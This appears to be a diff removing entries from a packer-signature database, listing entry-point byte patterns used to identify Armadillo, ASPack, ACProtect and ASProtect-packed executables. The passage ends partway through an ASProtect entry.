- -[Armadillo v2.20b1] -signature = 55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v2.50] -signature = 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0 -ep_only = true - -[Armadillo v2.50b1] -signature = 55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 -ep_only = true - -[Armadillo v2.50b3] -signature = 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0 -ep_only = true - -[Armadillo v2.51] -signature = 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 -ep_only = true - -[Armadillo v2.52 beta2] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24 -ep_only = true - -[Armadillo v2.52] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38 -ep_only = true - -[Armadillo v2.52] -signature = 55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38 -ep_only = true - -[Armadillo v2.52b2] -signature = 55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24 -ep_only = true - -[Armadillo v2.53] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89 -ep_only = true - -[Armadillo v2.53] -signature = 55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC -ep_only = true - -[Armadillo v2.53b3] -signature = 55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 -ep_only = true - -[Armadillo v2.xx (CopyMem II)] -signature = 6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82 -ep_only = true - -[Armadillo v2.5x - v2.6x] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC -ep_only = true - -[Armadillo v2.60] -signature = 55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84 -ep_only = true - -[Armadillo v2.60b1] -signature = 55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC -ep_only = true - -[Armadillo v2.60b2] -signature = 55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C -ep_only = true - -[Armadillo v2.60a] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4 -ep_only = true - -[Armadillo v2.60c] -signature = 55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4 -ep_only = true - -[Armadillo v2.61] -signature = 55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C -ep_only = true - -[Armadillo v2.65b1] -signature = 55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4 -ep_only = true - -[Armadillo v2.75a] -signature = 55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24 -ep_only = true - -[Armadillo v2.85] -signature = 55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24 -ep_only = true - -[Armadillo v3.00] -signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 -ep_only = true - -[Armadillo v3.00a] -signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB -ep_only = true - -[Armadillo 3.00a -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42 -ep_only = true - -[Armadillo v3.01, v3.05] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 75 02 EB 15 EB 33 C9 75 18 7A 0C 70 0E EB 0D E8 72 0E 79 F1 FF 15 00 79 09 74 F0 EB 87 DB 7A F0 A0 33 61 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 A0 8B 04 24 EB 03 7A 29 E9 C6 00 90 C3 E8 70 F0 87 D2 71 07 E9 00 40 8B DB 7A 11 EB 08 E9 EB F7 EB C3 E8 7A E9 70 DA 7B D1 71 F3 E9 7B -ep_only = true - -[Armadillo v3.01 - v3.50a -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43 -ep_only = true - -[Armadillo v3.10] -signature = 55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 3D 13 00 00 FF 15 30 40 44 00 A3 84 B7 44 00 E8 FB 11 00 00 A3 E0 A1 44 00 E8 A4 0F 00 00 E8 E6 0E 00 00 E8 4E F6 FF FF 89 75 D0 8D 45 A4 50 FF 15 38 40 44 00 E8 77 0E 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 7C 41 44 00 50 E8 49 D4 FE FF 89 45 A0 50 E8 3C F6 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 B5 0C 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 2E F6 FF FF 83 3D E8 A1 44 00 01 75 05 -ep_only = true - -[Armadillo v3.xx] -signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 -ep_only = true - -[Armadillo 3.6x -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76 -ep_only = true - -[Armadillo 3.7x -> Silicon Realms Toolworks] -signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC -ep_only = true - -[APatch GUI v1.1] -signature = 52 31 C0 E8 FF FF FF FF -ep_only = true - -[ASPack v1.00b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44 -ep_only = true - -[ASPack v1.01b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44 -ep_only = true - -[ASPack v1.02a] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF -ep_only = true - -[ASPack v1.02b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43 -ep_only = true - -[ASPack v1.02b] -signature = 60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5 -ep_only = true - -[ASPack v1.03b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43 -ep_only = true - -[ASPack v1.04b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D -ep_only = true - -[ASPack v1.05b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44 -ep_only = true - -[ASPack v1.06b] -signature = 90 75 00 E9 -ep_only = true - -[ASPack v1.06b] -signature = 90 90 75 00 E9 -ep_only = true - -[ASPack v1.06b] -signature = 90 90 90 75 00 E9 -ep_only = true - -[ASPack v1.061b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43 -ep_only = true - -[ASPack v1.07b] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE -ep_only = true - -[ASPack v1.07b (DLL)] -signature = 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 -ep_only = true - -[ASPack v1.07b] -signature = 90 90 90 75 ?? E9 -ep_only = true - -[ASPack v1.07b] -signature = 90 90 75 ?? E9 -ep_only = true - -[ASPack v1.07b] -signature = 90 75 ?? E9 -ep_only = true - -[ASPack v1.08] -signature = 90 75 01 FF E9 -ep_only = true - -[ASPack v1.08] -signature = 90 90 75 01 FF E9 -ep_only = true - -[ASPack v1.08] -signature = 90 90 90 75 01 FF E9 -ep_only = true - -[ASPack v1.08.01] -signature = 90 90 90 75 ?? 90 E9 -ep_only = true - -[ASPack v1.08.01] -signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D -ep_only = true - -[ASPack v1.08.01] -signature = 90 90 75 ?? 90 E9 -ep_only = true - -[ASPack v1.08.01] -signature = 90 75 ?? 90 E9 -ep_only = true - -[ASPack v1.08.01] -signature = 60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9 -ep_only = true - -[ASPack v1.08.01] -signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D -ep_only = true - -[ASPack v1.08.02] -signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72 -ep_only = true - -[ASPack v1.08.x] -signature = 60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A -ep_only = true - -[ASPack v1.08.03] -signature = 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD -ep_only = true - -[ASPack v1.08.03] -signature = 60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD -ep_only = true - -[ASPack v1.08.03] -signature = 60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E -ep_only = true - -[ASPack v1.08.04] -signature = 60 E8 41 06 00 00 EB 41 -ep_only = true - -[ASPack v2.xx] -signature = A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95 -ep_only = true - -[ASPack v2.000] -signature = 60 E8 70 05 00 00 EB 4C -ep_only = true - -[ASPack v2.001] -signature = 60 E8 72 05 00 00 EB 4C -ep_only = true - -[ASPack v2.1] -signature = 60 E8 72 05 00 00 EB 33 87 DB 90 00 -ep_only = true - -[ASPack v2.11] -signature = 60 E9 3D 04 00 00 -ep_only = true - -[ASPack v2.11b] -signature = 60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00 -ep_only = true - -[ASPack v2.11c] -signature = 60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00 -ep_only = true - -[ASPack v2.11d] -signature = 60 E8 02 00 00 00 EB 09 5D 55 -ep_only = true - -[ASPack v2.12] -signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB -ep_only = true - -[ASPack v2.12] -signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 -ep_only = true - -[ASPack v2.xx] -signature = A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95 -ep_only = true - -[Anticrack Software Protector v1.09 (ACProtect)] -signature = 60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[Anticrack Software Protector v1.09 (ACProtect)] -signature = 60 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 78 03 79 01 ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 -ep_only = true - -[Anticrack Software Protector v1.09 (ACProtect)] -signature = 60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 -ep_only = true - -[Anticrack Software Protector v1.09 (ACProtect)] -signature = 60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[ASProtect vx.x] -signature = 90 60 ?? ?? ?? 00 00 -ep_only = true - -[ASProtect vx.x] -signature = 60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD -ep_only = true - -[ASProtect v1.0] -signature = 60 